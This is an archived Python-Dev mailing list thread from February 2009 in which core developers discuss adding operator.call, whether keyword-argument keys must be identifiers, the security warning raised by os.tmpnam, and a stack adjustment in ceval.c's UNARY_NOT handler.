[Python-Dev] Missing operator.call In-Reply-To: References: <498991D9.3060407@avl.com> <25970944.975143.1233754111890.JavaMail.xicrypt@atgrzls001> <498999BE.70703@avl.com> Message-ID: On Wed, Feb 4, 2009 at 10:25 AM, Brett Cannon wrote: > On Wed, Feb 4, 2009 at 05:35, Hrvoje Niksic wrote: >> Andrew Bennetts wrote: >>> >>> A patch to add operator.caller(*args, **kwargs) may be a good idea. Your >>> example would then be: >>> >>> map(operator.caller(), lst) >> >> Regarding the name, note that I proposed operator.call (and >> operator.__call__) because it corresponds to the __call__ special method, >> which is analogous to how operator.neg corresponds to __neg__, operator.add >> to __add__, etc. The term "caller" implies creation of a new object that >> carries additional state, such as method name in operator.methodcaller, item >> in operator.itemgetter, or attr in operator.attrgetter. > > Part of the problem is the term 'call' is an overloaded term. Do you > really mean only objects that define __call__? What about objects that > define __init__ and thus can be called as well? If you mean the former > than you have to make sure the docs are very clear about this; there > is a reason we got rid of callable(). If you mean the latter then > there is little benefit to the function since ``[x() for x in lst]`` > gets you the same result as your map call. Not sure I follow you here. It's not the __init__ that allows you to do ``x()``, it's the fact that the class declares a __call__, right? >>> class C(object): ... pass ... >>> C.__call__() <__main__.C object at 0x01A3C370> >>> C() <__main__.C object at 0x02622EB0> >>> str.__call__() '' >>> str() '' That said, I'm also unconvinced of the utility of operator.call over the equivalent list comprehension. Steve -- I'm not *in*-sane. Indeed, I am so far *out* of sane that you appear a tiny blip on the distant coast of sanity. --- Bucky Katt, Get Fuzzy From brett at python.org Wed Feb 4 19:50:47 2009 From: brett at python.org (Brett Cannon) Date: Wed, 4 Feb 2009 10:50:47 -0800 Subject: [Python-Dev] Missing operator.call In-Reply-To: References: <498991D9.3060407@avl.com> <25970944.975143.1233754111890.JavaMail.xicrypt@atgrzls001> <498999BE.70703@avl.com> Message-ID: On Wed, Feb 4, 2009 at 10:43, Steven Bethard wrote: > On Wed, Feb 4, 2009 at 10:25 AM, Brett Cannon wrote: >> On Wed, Feb 4, 2009 at 05:35, Hrvoje Niksic wrote: >>> Andrew Bennetts wrote: >>>> >>>> A patch to add operator.caller(*args, **kwargs) may be a good idea. Your >>>> example would then be: >>>> >>>> map(operator.caller(), lst) >>> >>> Regarding the name, note that I proposed operator.call (and >>> operator.__call__) because it corresponds to the __call__ special method, >>> which is analogous to how operator.neg corresponds to __neg__, operator.add >>> to __add__, etc. The term "caller" implies creation of a new object that >>> carries additional state, such as method name in operator.methodcaller, item >>> in operator.itemgetter, or attr in operator.attrgetter. >> >> Part of the problem is the term 'call' is an overloaded term. Do you >> really mean only objects that define __call__? What about objects that >> define __init__ and thus can be called as well? If you mean the former >> than you have to make sure the docs are very clear about this; there >> is a reason we got rid of callable(). If you mean the latter then >> there is little benefit to the function since ``[x() for x in lst]`` >> gets you the same result as your map call. > > Not sure I follow you here. It's not the __init__ that allows you to > do ``x()``, it's the fact that the class declares a __call__, right? > >>>> class C(object): > ... pass > ... >>>> C.__call__() > <__main__.C object at 0x01A3C370> >>>> C() > <__main__.C object at 0x02622EB0> >>>> str.__call__() > '' >>>> str() > '' > I don't think so:: >>> Foo.__call__ >>> Foo.__call__ = lambda: None >>> Foo.__call__ > >>> Foo() <__main__.Foo object at 0xf7f90e8c> -Brett From guido at python.org Wed Feb 4 20:04:48 2009 From: guido at python.org (Guido van Rossum) Date: Wed, 4 Feb 2009 11:04:48 -0800 Subject: [Python-Dev] Missing operator.call In-Reply-To: References: <498991D9.3060407@avl.com> <25970944.975143.1233754111890.JavaMail.xicrypt@atgrzls001> <498999BE.70703@avl.com> Message-ID: I believe the omission of call from the operator module is an oversight, perhaps caused by the existence (when the operator module was created) of apply. Since apply has been removed from 3.0, we should add operator.call (with the same signature) back. It should be a straightforward wrapper around one of the PyObject_Call* functions. Also note that using __call__ can lead to all sorts of problems when looking at classes -- all class objects have a __call__ attribute, because their metaclass (type) has one, but should not be confused with a __call__ method defined in the class. A quick illustration: >>> class C(object): ... def __call__(self): print "instance call" ... >>> C() <__main__.C object at 0xf7f9052c> >>> C()() instance call >>> C.__call__() Traceback (most recent call last): File "", line 1, in TypeError: unbound method __call__() must be called with C instance as first argument (got nothing instead) >>> C.__call__(C()) instance call >>> C.__class__.__call__(C) <__main__.C object at 0xf7f9048c> >>> -- --Guido van Rossum (home page: http://www.python.org/~guido/) From martin at v.loewis.de Wed Feb 4 20:48:03 2009 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Wed, 04 Feb 2009 20:48:03 +0100 Subject: [Python-Dev] Missing operator.call In-Reply-To: <498991D9.3060407@avl.com> References: <498991D9.3060407@avl.com> Message-ID: <4989F0F3.7090901@v.loewis.de> > If there is interest in this and no reason why it shouldn't be done, I > can write up an issue in the tracker and provide a patch. I think there is a tricky design choice to make wrt. argument passing. IIUC, you don't care much about arguments, so you could probably live with def call(o): return o() Somebody proposed that you pass arguments once, and get an "arguments bound" object, i.e. def call(*args, **kwds): def func(o): return o(*args, **kwds) return func Finally, it seems that Guido is advocating an API where arguments get passed along with the callable, i.e. def call(o, *args, **kwds): return o(*args, **kwds) which would make call a synonym for apply (and would also provide for the first definition as a special case). However, with that API, it isn't so easy anymore to pass the same arguments to all callables (unless it is no arguments that you want to pass). Regards, Martin From exarkun at divmod.com Wed Feb 4 20:49:27 2009 From: exarkun at divmod.com (Jean-Paul Calderone) Date: Wed, 4 Feb 2009 14:49:27 -0500 Subject: [Python-Dev] Missing operator.call In-Reply-To: Message-ID: <20090204194927.12853.1014912104.divmod.quotient.3487@henry.divmod.com> On Wed, 4 Feb 2009 10:50:47 -0800, Brett Cannon wrote: >On Wed, Feb 4, 2009 at 10:43, Steven Bethard wrote: >> [snip] >> >> Not sure I follow you here. It's not the __init__ that allows you to >> do ``x()``, it's the fact that the class declares a __call__, right? >> >>>>> class C(object): >> ... pass >> ... >>>>> C.__call__() >> <__main__.C object at 0x01A3C370> >>>>> C() >> <__main__.C object at 0x02622EB0> >>>>> str.__call__() >> '' >>>>> str() >> '' >> > >I don't think so:: > >>>> Foo.__call__ > >>>> Foo.__call__ = lambda: None >>>> Foo.__call__ >> >>>> Foo() ><__main__.Foo object at 0xf7f90e8c> That's because the __call__ special on an instance is ignored, as many specials on new-style instances are ignored. If you change the method where it counts - on type(Foo) in this case - then you see something different. >>> class X(type): ... def __call__(self, *a, **kw): ... print 'X.__call__', a, kw ... return super(X, self).__call__(*a, **kw) ... >>> class Y(object): ... __metaclass__ = X ... >>> Y.__call__ > >>> Y() X.__call__ () {} <__main__.Y object at 0xb7d0706c> >>> Y.__call__ = lambda: None >>> Y.__call__ > >>> Y() X.__call__ () {} <__main__.Y object at 0xb7d0706c> >>> X.__call__ = lambda: None >>> Y() Traceback (most recent call last): File "", line 1, in TypeError: () takes no arguments (1 given) >>> As far as I know, Steven Bethard's point is correct. Jean-Paul From steven.bethard at gmail.com Wed Feb 4 21:07:18 2009 From: steven.bethard at gmail.com (Steven Bethard) Date: Wed, 4 Feb 2009 12:07:18 -0800 Subject: [Python-Dev] Missing operator.call In-Reply-To: References: <498991D9.3060407@avl.com> <25970944.975143.1233754111890.JavaMail.xicrypt@atgrzls001> <498999BE.70703@avl.com> Message-ID: On Wed, Feb 4, 2009 at 10:50 AM, Brett Cannon wrote: > On Wed, Feb 4, 2009 at 10:43, Steven Bethard wrote: >> Not sure I follow you here. It's not the __init__ that allows you to >> do ``x()``, it's the fact that the class declares a __call__, right? >> >>>>> class C(object): >> ... pass >> ... >>>>> C.__call__() >> <__main__.C object at 0x01A3C370> >>>>> C() >> <__main__.C object at 0x02622EB0> >>>>> str.__call__() >> '' >>>>> str() >> '' >> > > I don't think so:: > >>>> Foo.__call__ > >>>> Foo.__call__ = lambda: None >>>> Foo.__call__ > > >>>> Foo() > <__main__.Foo object at 0xf7f90e8c> Take a look at PyObject_Call in abstract.c. Basically, __call__ is always looked up on the type, something like: >>> class C(object): ... def __call__(self): ... return 'instance' ... >>> def func(): ... return 'func' ... >>> type(C).__call__(C) <__main__.C object at 0x0263E250> >>> type(C()).__call__(C()) 'instance' >>> type(func).__call__(func) 'func' Steve -- I'm not *in*-sane. Indeed, I am so far *out* of sane that you appear a tiny blip on the distant coast of sanity. --- Bucky Katt, Get Fuzzy From guido at python.org Wed Feb 4 21:47:01 2009 From: guido at python.org (Guido van Rossum) Date: Wed, 4 Feb 2009 12:47:01 -0800 Subject: [Python-Dev] Missing operator.call In-Reply-To: <4989F0F3.7090901@v.loewis.de> References: <498991D9.3060407@avl.com> <4989F0F3.7090901@v.loewis.de> Message-ID: On Wed, Feb 4, 2009 at 11:48 AM, "Martin v. L?wis" wrote: >> If there is interest in this and no reason why it shouldn't be done, I >> can write up an issue in the tracker and provide a patch. > > I think there is a tricky design choice to make wrt. argument passing. > IIUC, you don't care much about arguments, so you could probably live > with > > def call(o): > return o() > > Somebody proposed that you pass arguments once, and get an > "arguments bound" object, i.e. > > def call(*args, **kwds): > def func(o): > return o(*args, **kwds) > return func > > Finally, it seems that Guido is advocating an API where arguments get > passed along with the callable, i.e. > > def call(o, *args, **kwds): > return o(*args, **kwds) > > which would make call a synonym for apply (and would also provide for > the first definition as a special case). However, with that API, it > isn't so easy anymore to pass the same arguments to all callables > (unless it is no arguments that you want to pass). My version is in line with the other operators in the operator module. The version that binds the arguments and returns a callable is already available as functools.partial. -- --Guido van Rossum (home page: http://www.python.org/~guido/) From hrvoje.niksic at avl.com Thu Feb 5 11:11:40 2009 From: hrvoje.niksic at avl.com (Hrvoje Niksic) Date: Thu, 05 Feb 2009 11:11:40 +0100 Subject: [Python-Dev] Missing operator.call In-Reply-To: <30702564.996171.1233780505848.JavaMail.xicrypt@atgrzls001> References: <498991D9.3060407@avl.com> <4989F0F3.7090901@v.loewis.de> <30702564.996171.1233780505848.JavaMail.xicrypt@atgrzls001> Message-ID: <498ABB5C.5090706@avl.com> Guido van Rossum wrote: >> def call(o, *args, **kwds): >> return o(*args, **kwds) >> >> which would make call a synonym for apply (and would also provide for >> the first definition as a special case). However, with that API, it >> isn't so easy anymore to pass the same arguments to all callables >> (unless it is no arguments that you want to pass). > > My version is in line with the other operators in the operator module. > The version that binds the arguments and returns a callable is already > available as functools.partial. And it works well in the case I encountered. In fact, it works even better because it allows things like map(call, l1, l2) to apply each element of l2 to the corresponding function in l1. If there's no opposition to this, I'll post a patch to the tracker. From mhagger at alum.mit.edu Thu Feb 5 09:03:01 2009 From: mhagger at alum.mit.edu (Michael Haggerty) Date: Thu, 05 Feb 2009 09:03:01 +0100 Subject: [Python-Dev] The interpreter accepts f(**{'5':'foo'}); is this intentional? Message-ID: <498A9D35.7020305@alum.mit.edu> I can't find documentation about whether there are constraints imposed on the keys in the map passed to a function via **, as in f(**d). According to http://docs.python.org/reference/expressions.html#id9 , d must be a mapping. test_extcall.py implies that the keys of this map must be strings in the following test: >>> f(**{1:2}) Traceback (most recent call last): ... TypeError: f() keywords must be strings But must the keys be valid python identifiers? In particular, the following is allows by the Python 2.5.2 and the Jython 2.2.1 interpreters: >>> f(**{'1':2}) {'1': 2} Is this behavior required somewhere by the Python language spec, or is it an error that just doesn't happen to be checked, or is it intentionally undefined whether this is allowed? Michael From ironfroggy at gmail.com Thu Feb 5 16:31:56 2009 From: ironfroggy at gmail.com (Calvin Spealman) Date: Thu, 5 Feb 2009 10:31:56 -0500 Subject: [Python-Dev] The interpreter accepts f(**{'5':'foo'}); is this intentional? In-Reply-To: <498A9D35.7020305@alum.mit.edu> References: <498A9D35.7020305@alum.mit.edu> Message-ID: <76fd5acf0902050731g42c6efeft6f63bba1ce75186d@mail.gmail.com> I would favor this not being constrained. I don't want every use of ** to cause a pattern match to verify each key. I would even be fine without the check for being strings. Define what it should be, but let the implementation be lax. It is no different from any other place where you need to know its not a promise, just an artifact, and shouldn't rely on what the implementation currently does or does not force. On Thu, Feb 5, 2009 at 3:03 AM, Michael Haggerty wrote: > I can't find documentation about whether there are constraints imposed > on the keys in the map passed to a function via **, as in f(**d). > > According to > > http://docs.python.org/reference/expressions.html#id9 > > , d must be a mapping. > > test_extcall.py implies that the keys of this map must be strings in the > following test: > > >>> f(**{1:2}) > Traceback (most recent call last): > ... > TypeError: f() keywords must be strings > > But must the keys be valid python identifiers? > > In particular, the following is allows by the Python 2.5.2 and the > Jython 2.2.1 interpreters: > > >>> f(**{'1':2}) > {'1': 2} > > Is this behavior required somewhere by the Python language spec, or is > it an error that just doesn't happen to be checked, or is it > intentionally undefined whether this is allowed? > > Michael > _______________________________________________ > Python-Dev mailing list > Python-Dev at python.org > http://mail.python.org/mailman/listinfo/python-dev > Unsubscribe: http://mail.python.org/mailman/options/python-dev/ironfroggy%40gmail.com > -- Read my blog! I depend on your acceptance of my opinion! I am interesting! http://techblog.ironfroggy.com/ Follow me if you're into that sort of thing: http://www.twitter.com/ironfroggy From eric at trueblade.com Thu Feb 5 16:39:08 2009 From: eric at trueblade.com (Eric Smith) Date: Thu, 05 Feb 2009 10:39:08 -0500 Subject: [Python-Dev] The interpreter accepts f(**{'5':'foo'}); is this intentional? In-Reply-To: <76fd5acf0902050731g42c6efeft6f63bba1ce75186d@mail.gmail.com> References: <498A9D35.7020305@alum.mit.edu> <76fd5acf0902050731g42c6efeft6f63bba1ce75186d@mail.gmail.com> Message-ID: <498B081C.60401@trueblade.com> Calvin Spealman wrote: > I would favor this not being constrained. I don't want every use of ** > to cause a pattern match to verify each key. I would even be fine > without the check for being strings. Define what it should be, but let > the implementation be lax. It is no different from any other place > where you need to know its not a promise, just an artifact, and > shouldn't rely on what the implementation currently does or does not > force. I agree. There was a similar issue in http://bugs.python.org/issue2598, and we decided not to do anything about it. Eric. > > On Thu, Feb 5, 2009 at 3:03 AM, Michael Haggerty wrote: >> I can't find documentation about whether there are constraints imposed >> on the keys in the map passed to a function via **, as in f(**d). >> >> According to >> >> http://docs.python.org/reference/expressions.html#id9 >> >> , d must be a mapping. >> >> test_extcall.py implies that the keys of this map must be strings in the >> following test: >> >> >>> f(**{1:2}) >> Traceback (most recent call last): >> ... >> TypeError: f() keywords must be strings >> >> But must the keys be valid python identifiers? >> >> In particular, the following is allows by the Python 2.5.2 and the >> Jython 2.2.1 interpreters: >> >> >>> f(**{'1':2}) >> {'1': 2} >> >> Is this behavior required somewhere by the Python language spec, or is >> it an error that just doesn't happen to be checked, or is it >> intentionally undefined whether this is allowed? >> >> Michael >> _______________________________________________ >> Python-Dev mailing list >> Python-Dev at python.org >> http://mail.python.org/mailman/listinfo/python-dev >> Unsubscribe: http://mail.python.org/mailman/options/python-dev/ironfroggy%40gmail.com >> > > > From python at rcn.com Thu Feb 5 17:35:30 2009 From: python at rcn.com (Raymond Hettinger) Date: Thu, 5 Feb 2009 08:35:30 -0800 Subject: [Python-Dev] Warnings Message-ID: <29687A8A0F404FB0A667FE44C8CCB8F1@RaymondLaptop1> >> import os >>> os.tmpnam() RuntimeWarning: tmpnam is a potential security risk to your program Are these runtime warnings necessary? Suppressing these warnings is a pita for one-off uses of os.tmpnam() or os.tempnam(). I would hate for this sort of thing to propagate throughout the standard library. Some folks think eval() should never be used and the same for input(). Some folks think md5 should be removed. Some folks think pickles are the ultimate security threat. IMO, it is enough to note potential vulnerabilities in the docs. Even then, I'm not too keen on the docs being filled with lots of red-outlined pink-boxed warning signs, effectively communicating that Python itself is dangerous and unreliable. Raymond --------------------------------- Happy FUN BALL! -only $14.95- Warning: Pregnant women, the elderly and children under 10 should avoid prolonged exposure to Happy Fun Ball. Caution: Happy Fun Ball may suddenly accelerate to dangerous speeds. Happy Fun Ball Contains a liquid core, which, if exposed due to rupture, should not be touched, inhaled, or looked at. Do not use Happy Fun Ball on concrete. Discontinue use of Happy Fun Ball if any of the following occurs: Itching, Vertigo, Dizziness Tingling in extremities, Loss of balance or coordination Slurred speech, Temporary blindness, Profuse sweating, Heart palpitations If Happy Fun Ball begins to smoke, get away immediately. Seek shelter and cover head. Happy Fun Ball may stick to certain types of skin. When not in use, Happy Fun Ball should be returned to its special container and kept under refrigeration... Failure to do so relieves the makers of Happy Fun Ball, Wacky Products Incorporated, and its parent company Global Chemical Unlimited, of any and all liability. Ingredients of Happy Fun Ball include an unknown glowing substance which fell to Earth, presumably from outer space. Happy Fun Ball has been shipped to our troops in Saudi Arabia and is also being dropped by our warplanes on Iraq. Do not taunt Happy Fun Ball. Happy Fun Ball comes with a lifetime guarantee. Happy Fun Ball ACCEPT NO SUBSTITUTES! From exarkun at divmod.com Thu Feb 5 17:47:21 2009 From: exarkun at divmod.com (Jean-Paul Calderone) Date: Thu, 5 Feb 2009 11:47:21 -0500 Subject: [Python-Dev] Warnings In-Reply-To: <29687A8A0F404FB0A667FE44C8CCB8F1@RaymondLaptop1> Message-ID: <20090205164721.12853.999629853.divmod.quotient.3909@henry.divmod.com> On Thu, 5 Feb 2009 08:35:30 -0800, Raymond Hettinger wrote: >>>import os >>>>os.tmpnam() >RuntimeWarning: tmpnam is a potential security risk to your program > This warning is a reflection of the fact that (at least) the glibc authors think you shouldn't be using tmpnam(2). If you compile a C program that uses it, you'll see a warning about it. Since you can write a Python program that uses tmpnam(2) without ever compiling such a C program, you get a RuntimeWarning instead. It's not quite analogous, since you don't get the warning from the C program every time you run it, but it's about as close as you can do in Python without resorting to crazy tricks. > >Are these runtime warnings necessary? Suppressing these warnings is a pita >for one-off uses of os.tmpnam() or os.tempnam(). Why are you using them? Why not just use one of the many, many, many other APIs for generating temporary files that Python exposes? One of the ones that doesn't emit any warnings? >I would hate for this sort of thing to propagate throughout the standard >library. Some folks think eval() should never be used and the same for >input(). Some folks think md5 should be removed. Some folks think pickles >are the ultimate security threat. IMO, it is enough to note potential >vulnerabilities in the docs. Even then, I'm not too keen on the docs being >filled with lots of red-outlined pink-boxed warning signs, effectively >communicating that Python itself is dangerous and unreliable. > I agree. The best thing to do would be to deprecate the Python wrappers around insecure C functions and then remove them after a couple releases. It's not as though these functions fill a critical niche - the tempfile module and even os.tmpfile are more than enough. Why does Python offer this attractive nuisance? Jean-Paul From solipsis at pitrou.net Thu Feb 5 17:51:28 2009 From: solipsis at pitrou.net (Antoine Pitrou) Date: Thu, 5 Feb 2009 16:51:28 +0000 (UTC) Subject: [Python-Dev] Warnings References: <29687A8A0F404FB0A667FE44C8CCB8F1@RaymondLaptop1> <20090205164721.12853.999629853.divmod.quotient.3909@henry.divmod.com> Message-ID: Hello, > I agree. The best thing to do would be to deprecate the Python wrappers > around insecure C functions and then remove them after a couple releases. They have been removed in 3.0. > Why does Python offer > this attractive nuisance? Well, there was a time when security concerns were a lot less wide-spread. Regards Antoine. From pachola at mageo.cz Thu Feb 5 18:08:09 2009 From: pachola at mageo.cz (Jaroslav Pachola) Date: Thu, 5 Feb 2009 18:08:09 +0100 Subject: [Python-Dev] Warnings In-Reply-To: References: <29687A8A0F404FB0A667FE44C8CCB8F1@RaymondLaptop1> <20090205164721.12853.999629853.divmod.quotient.3909@henry.divmod.com> Message-ID: <200902051808.09348.pachola@mageo.cz> Hello, Dne Thursday 05 February 2009 Antoine Pitrou napsal(a): > Hello, > > > I agree. The best thing to do would be to deprecate the Python wrappers > > around insecure C functions and then remove them after a couple releases. > > They have been removed in 3.0. What's the replacement in the library then, in case that I just want to create a unique file name and I don't care about the possible issues? > > > Why does Python offer > > this attractive nuisance? > > Well, there was a time when security concerns were a lot less wide-spread. > Is using of virtual memory secure? Aren't we all adults suddenly? ;-) I know, the damage has already been done (as with cmp parameter of sort(ed) etc.) and I should have notice them sooner. Or it is only me, maybe, who thinks that such weight losing is not healthy for the language and library users. Regards, JP From solipsis at pitrou.net Thu Feb 5 18:49:57 2009 From: solipsis at pitrou.net (Antoine Pitrou) Date: Thu, 5 Feb 2009 17:49:57 +0000 (UTC) Subject: [Python-Dev] Warnings References: <29687A8A0F404FB0A667FE44C8CCB8F1@RaymondLaptop1> <20090205164721.12853.999629853.divmod.quotient.3909@henry.divmod.com> <200902051808.09348.pachola@mageo.cz> Message-ID: Jaroslav Pachola mageo.cz> writes: > > What's the replacement in the library then, in case that I just want to create > a unique file name and I don't care about the possible issues? Three alternatives I'm thinking of: - tempfile.mktemp(): the doc says it has been deprecated since 2.3, but it's still there; - NamedTemporaryFile(delete=False): that's the officially suggested replacement in the doc; - tempfile.mkdtemp() and then create a regular file in the created directory. Regards Antoine. From cesare.dimauro at a-tono.com Thu Feb 5 19:19:01 2009 From: cesare.dimauro at a-tono.com (Cesare Di Mauro) Date: Thu, 5 Feb 2009 19:19:01 +0100 (CET) Subject: [Python-Dev] Why a STACKADJ(-1) in UNARY_NOT on ceval.c? In-Reply-To: References: <29687A8A0F404FB0A667FE44C8CCB8F1@RaymondLaptop1> <20090205164721.12853.999629853.divmod.quotient.3909@henry.divmod.com> <200902051808.09348.pachola@mageo.cz> Message-ID: <58267.151.53.147.90.1233857941.squirrel@webmail4.pair.com> Looking at the UNARY_NOT case in ceval.c: case UNARY_NOT: v = TOP(); err = PyObject_IsTrue(v); Py_DECREF(v); if (err == 0) { Py_INCREF(Py_True); SET_TOP(Py_True); continue; } else if (err > 0) { Py_INCREF(Py_False); SET_TOP(Py_False); err = 0; continue; } STACKADJ(-1); break; I don't understand why there's a STACKADJ(-1) at its end. Looking at the code, we know that if the CPU arrives to the STACKADJ, it's because of an error condition in the PyObject_IsTrue that sets err to a < 0 value, so exiting the big switch statement, an error will be raised. So the question is, why there's the need to skip the top stack PyObject? It's a different behaviour comparing it to the all other unary operators. For example: case UNARY_NEGATIVE: v = TOP(); x = PyNumber_Negative(v); Py_DECREF(v); SET_TOP(x); if (x != NULL) continue; break; There's no STACKADJ instruction on errors. Can someone explain it? Thanks a lot Cesare From guido at python.org Thu Feb 5 19:27:26 2009 From: guido at python.org (Guido van Rossum) Date: Thu, 5 Feb 2009 10:27:26 -0800 Subject: [Python-Dev] Why a STACKADJ(-1) in UNARY_NOT on ceval.c? In-Reply-To: <58267.151.53.147.90.1233857941.squirrel@webmail4.pair.com> References: <29687A8A0F404FB0A667FE44C8CCB8F1@RaymondLaptop1> <20090205164721.12853.999629853.divmod.quotient.3909@henry.divmod.com> <200902051808.09348.pachola@mageo.cz> <58267.151.53.147.90.1233857941.squirrel@webmail4.pair.com> Message-ID: It's to make up for the lack of SET_TOP in that path. On Thu, Feb 5, 2009 at 10:19 AM, Cesare Di Mauro wrote: > Looking at the UNARY_NOT case in ceval.c: > > case UNARY_NOT: > v = TOP(); > err = PyObject_IsTrue(v); > Py_DECREF(v); > if (err == 0) { > Py_INCREF(Py_True); > SET_TOP(Py_True); > continue; > } > else if (err > 0) { > Py_INCREF(Py_False); > SET_TOP(Py_False); > err = 0; > continue; > } > STACKADJ(-1); > break; > > > I don't understand why there's a STACKADJ(-1) at its end. Looking at the > code, we know that if the CPU arrives to the STACKADJ, it's because of an > error condition in the PyObject_IsTrue that sets err to a < 0 value, so > exiting the big switch statement, an error will be raised. > > So the question is, why there's the need to skip the top stack PyObject? > It's a different behaviour comparing it to the all other unary operators. > For example: > > case UNARY_NEGATIVE: > v = TOP(); > x = PyNumber_Negative(v); > Py_DECREF(v); > SET_TOP(x); > if (x != NULL) continue; > break; > > There's no STACKADJ instruction on errors. > > Can someone explain it? > > Thanks a lot > > Cesare > _______________________________________________ > Python-Dev mailing list > Python-Dev at python.org > http://mail.python.org/mailman/listinfo/python-dev > Unsubscribe: http://mail.python.org/mailman/options/python-dev/guido%40python.org > -- --Guido van Rossum (home page: http://www.python.org/~guido/) From ncoghlan at gmail.com Thu Feb 5 21:19:12 2009 From: ncoghlan at gmail.com (Nick Coghlan) Date: Fri, 06 Feb 2009 06:19:12 +1000 Subject: [Python-Dev] The interpreter accepts f(**{'5':'foo'}); is this intentional? In-Reply-To: <498A9D35.7020305@alum.mit.edu> References: <498A9D35.7020305@alum.mit.edu> Message-ID: <498B49C0.5030707@gmail.com> Michael Haggerty wrote: > Is this behavior required somewhere by the Python language spec, or is > it an error that just doesn't happen to be checked, or is it > intentionally undefined whether this is allowed? Generally speaking, Python namespace dictionaries (be it globals(), locals(), the __dict__ attribute of an instance or a set of keyword arguments) aren't required to enforce the use of legal identifiers (in many cases, the CPython variants don't even enforce the use of strings). Enforcing legal identifiers is usually the compiler's job and if you're using dict syntax to access the contents of a namespace, the compiler doesn't care. That laxness is a CPython implementation detail though - other implementations are quite free to be stricter with their namespaces (e.g. I believe Jython namespaces use explicitly string-keyed dictionaries, so Jython would reject the example below). Cheers, Nick. P.S. An example of messing about with a class's dictionary in CPython: Python 2.5.2 (r252:60911, Jul 31 2008, 17:28:52) [GCC 4.2.3 (Ubuntu 4.2.3-2ubuntu7)] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> class C: pass ... >>> C.__dict__[5] = "Not an identifier!" >>> C.5 # obviously not allowed File "", line 1 C.5 # obviously not allowed ^ SyntaxError: invalid syntax >>> C.__dict__['5'] = "Still not an identifier!" >>> C.5 # still not allowed File "", line 1 C.5 # still not allowed ^ SyntaxError: invalid syntax >>> C.__dict__[5] 'Not an identifier!' >>> getattr(C, 5) Traceback (most recent call last): File "", line 1, in TypeError: getattr(): attribute name must be string >>> getattr(C, '5') 'Still not an identifier!' Cheers, Nick. -- Nick Coghlan | ncoghlan at gmail.com | Brisbane, Australia --------------------------------------------------------------- From guido at python.org Thu Feb 5 21:32:57 2009 From: guido at python.org (Guido van Rossum) Date: Thu, 5 Feb 2009 12:32:57 -0800 Subject: [Python-Dev] The interpreter accepts f(**{'5':'foo'}); is this intentional? In-Reply-To: <498B49C0.5030707@gmail.com> References: <498A9D35.7020305@alum.mit.edu> <498B49C0.5030707@gmail.com> Message-ID: I'd prefer a compromise -- the keys should be strings, but should not be required to be valid identifiers. All Python implementations should support this. Rationale: a type check is cheap, and using strings exclusively makes the use of a faster dict implementation possible. A check for a conforming identifier is relatively expensive and serves no purpose except being pedantic. --Guido On Thu, Feb 5, 2009 at 12:19 PM, Nick Coghlan wrote: > Michael Haggerty wrote: >> Is this behavior required somewhere by the Python language spec, or is >> it an error that just doesn't happen to be checked, or is it >> intentionally undefined whether this is allowed? > > Generally speaking, Python namespace dictionaries (be it globals(), > locals(), the __dict__ attribute of an instance or a set of keyword > arguments) aren't required to enforce the use of legal identifiers (in > many cases, the CPython variants don't even enforce the use of strings). > > Enforcing legal identifiers is usually the compiler's job and if you're > using dict syntax to access the contents of a namespace, the compiler > doesn't care. > > That laxness is a CPython implementation detail though - other > implementations are quite free to be stricter with their namespaces > (e.g. I believe Jython namespaces use explicitly string-keyed > dictionaries, so Jython would reject the example below). > > Cheers, > Nick. > > P.S. An example of messing about with a class's dictionary in CPython: > > Python 2.5.2 (r252:60911, Jul 31 2008, 17:28:52) > [GCC 4.2.3 (Ubuntu 4.2.3-2ubuntu7)] on linux2 > Type "help", "copyright", "credits" or "license" for more information. >>>> class C: pass > ... >>>> C.__dict__[5] = "Not an identifier!" >>>> C.5 # obviously not allowed > File "", line 1 > C.5 # obviously not allowed > ^ > SyntaxError: invalid syntax >>>> C.__dict__['5'] = "Still not an identifier!" >>>> C.5 # still not allowed > File "", line 1 > C.5 # still not allowed > ^ > SyntaxError: invalid syntax >>>> C.__dict__[5] > 'Not an identifier!' >>>> getattr(C, 5) > Traceback (most recent call last): > File "", line 1, in > TypeError: getattr(): attribute name must be string >>>> getattr(C, '5') > 'Still not an identifier!' > > Cheers, > Nick. > > -- > Nick Coghlan | ncoghlan at gmail.com | Brisbane, Australia > --------------------------------------------------------------- > _______________________________________________ > Python-Dev mailing list > Python-Dev at python.org > http://mail.python.org/mailman/listinfo/python-dev > Unsubscribe: http://mail.python.org/mailman/options/python-dev/guido%40python.org > -- --Guido van Rossum (home page: http://www.python.org/~guido/) From lists at cheimes.de Thu Feb 5 21:36:04 2009 From: lists at cheimes.de (Christian Heimes) Date: Thu, 05 Feb 2009 21:36:04 +0100 Subject: [Python-Dev] The interpreter accepts f(**{'5':'foo'}); is this intentional? In-Reply-To: <498B49C0.5030707@gmail.com> References: <498A9D35.7020305@alum.mit.edu> <498B49C0.5030707@gmail.com> Message-ID: Nick Coghlan wrote: > Generally speaking, Python namespace dictionaries (be it globals(), > locals(), the __dict__ attribute of an instance or a set of keyword > arguments) aren't required to enforce the use of legal identifiers (in > many cases, the CPython variants don't even enforce the use of strings). Side note: CPython's dict code has a special case for str objects (PyStringObject in 2.x, PyUnicodeObject in 3.x). The internal lookup method is optimized for str objects. Python uses dict objects for all its namespaces like classes, modules and most objects, so dict with str as keys are pretty common. The first time a non str object is inserted or looked up, the dict swiches to a more general lookup methods. lookdict() still fast but not as fast as lookdict_string(). It doesn't make a huge difference but you should still keep the fact in your head. We could abuse the state of the ma_lookup function pointer to check the dict for str only keys. But it would break for unicode keys thus making from __future__ import unicode_literals useless. Christian From lists at cheimes.de Thu Feb 5 22:04:18 2009 From: lists at cheimes.de (Christian Heimes) Date: Thu, 05 Feb 2009 22:04:18 +0100 Subject: [Python-Dev] The interpreter accepts f(**{'5':'foo'}); is this intentional? In-Reply-To: References: <498A9D35.7020305@alum.mit.edu> <498B49C0.5030707@gmail.com> Message-ID: <498B5452.7090601@cheimes.de> Guido van Rossum schrieb: > I'd prefer a compromise -- the keys should be strings, but should not > be required to be valid identifiers. All Python implementations should > support this. Rationale: a type check is cheap, and using strings > exclusively makes the use of a faster dict implementation possible. A > check for a conforming identifier is relatively expensive and serves > no purpose except being pedantic. As pointed out in my other posting, an additional type check isn't required in most cases. A C function that checks ma_lookup does the same trick. int PyDict_StringKeysOnly(PyObject *dict) { if (((PyDictObject*)dict)->ma_lookup == lookdict_string) return 1; else { /* check all keys for PyStringObject */ } } The performance penalty is slime to nothing for the common case. How are we going to handle str subclasses and unicode? Should we allow all subclasses of basestring? Or just str and unicode? Or str only? 